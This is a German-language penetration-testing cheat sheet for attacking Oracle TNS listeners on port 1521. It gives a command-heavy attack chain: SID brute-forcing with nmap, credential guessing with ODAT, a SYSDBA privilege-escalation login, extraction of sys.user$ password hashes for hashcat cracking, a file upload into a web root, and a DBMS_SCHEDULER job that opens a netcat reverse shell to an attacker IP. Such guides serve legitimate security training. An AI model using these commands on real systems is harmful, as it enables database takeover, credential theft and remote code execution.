1521 - Oracle TNS
Einführung
Oracle TNS (Transparent Network Substrate) ist ein Kommunikationsprotokoll, das Oracle-Datenbanken verwenden, um Netzwerkverbindungen von Clients entgegenzunehmen und weiterzuleiten. Es gehört zu Oracle Net Services.
Auf jedem Oracle-Datenbankserver läuft in der Regel ein sogenannter TNS Listener. Dieser Listener ist ein separater Prozess, der auf eingehende Verbindungen lauscht – standardmäßig auf TCP-Port 1521. Sobald eine Verbindung eingeht, leitet er sie an die richtige Datenbankinstanz weiter.
Instanzen und SID
Ein Oracle-Datenbankserver kann mehrere Instanzen gleichzeitig betreiben. Jede Instanz ist ein eigener Satz von Prozessen und Speicherstrukturen, der mit einer bestimmten Datenbankdatei arbeitet.
Zur eindeutigen Identifikation verwendet Oracle den SID (System Identifier) – das ist der eindeutige Name einer Instanz auf dem Server.
Wenn sich ein Client verbinden möchte, muss er den Host, den Port und den SID kennen. Nur so weiß der Listener, welche Instanz gemeint ist.
Beispiel für eine Verbindung:
sqlplus scott/tiger@//10.0.0.1:1521/XE
# Username/Password@//IP:Port/SID
Oracle TNS Enumeration & Exploitation
Port Scan
Nmap
sudo nmap -p1521 -sV <ZIEL-IP> --open
Ziel: Prüfen, ob ein Oracle Listener läuft und welcher Versionstyp verwendet wird (z. B. 11.2.0.2.0).
SID Enumeration
Nmap-Skript
sudo nmap -p1521 -sV <ZIEL-IP> --open --script oracle-sid-brute
Erkennt installierte Instanzen wie z. B. XE
, was für Login erforderlich ist.
Benutzer/Passwort Enumeration mit ODAT
./odat.py all -s <ZIEL-IP>
Beobachtungen:
Konten wie
mdsys
,outln
sind gesperrtGültige Kombination
scott/tiger
gefunden → Weiterverwendung möglich
Verbindungsaufbau mit SQL*Plus
sqlplus scott/tiger@<ZIEL-IP>/XE
Bei Shared-Library-Fehler:
sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf"; sudo ldconfig
Rechte- und Tabellen-Check
SQL> select table_name from all_tables;
SQL> select * from user_role_privs;
Ziel: Prüfen, ob der Benutzer Zugriff auf Tabellen hat und welche Rollen aktiv sind. Rollen wie DBA
wären kritisch.
Login als SYSDBA (Privilege Escalation)
sqlplus scott/tiger@<ZIEL-IP>/XE as sysdba
SQL-Ausgabe zeigt mögliche Übernahme der Datenbank mit Rollen wie DBA
, SYS
, etc.
Hash Extraction für Offline-Cracking
SQL> select name, password from sys.user$;
Mit Hashcat offline knacken:
hashcat -m 112 -a 0 hashes.txt rockyou.txt
File Upload via ODAT
echo "Oracle File Upload Test" > test.txt
./odat.py utlfile -s <ZIEL-IP> -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot test.txt ./test.txt
Ergebnis testen:
curl -X GET http://<ZIEL-IP>/test.txt
Ausgabe sollte enthalten:
Oracle File Upload Test
RCE via DBMS_SCHEDULER
BEGIN
DBMS_SCHEDULER.create_job(
job_name => 'revjob',
job_type => 'EXECUTABLE',
job_action => '/bin/bash',
number_of_arguments => 1,
enabled => FALSE,
auto_drop => FALSE);
DBMS_SCHEDULER.set_job_argument_value('revjob',1,'-c "nc <ANGREIFER-IP> 4444 -e /bin/sh"');
DBMS_SCHEDULER.enable('revjob');
END;
/
Ziel: Reverse Shell triggern über das SCHEDULER-Subsystem.
Fazit
Die Analyse zeigt: Standardkonfigurationen und veraltete Versionen in Oracle-Systemen bieten vielfältige Angriffsflächen. Tools wie ODAT in Kombination mit SQL*Plus ermöglichen es, Oracle-Datenbanken systematisch zu untersuchen und ggf. zu kompromittieren. Entscheidend ist dabei die Kombination aus SID-Bruteforce, Credential-Angriffen, Rechteauswertung und kreativer Ausnutzung von Features wie Dateioperationen oder Zeitsteuerungssystemen (SCHEDULER).
Last updated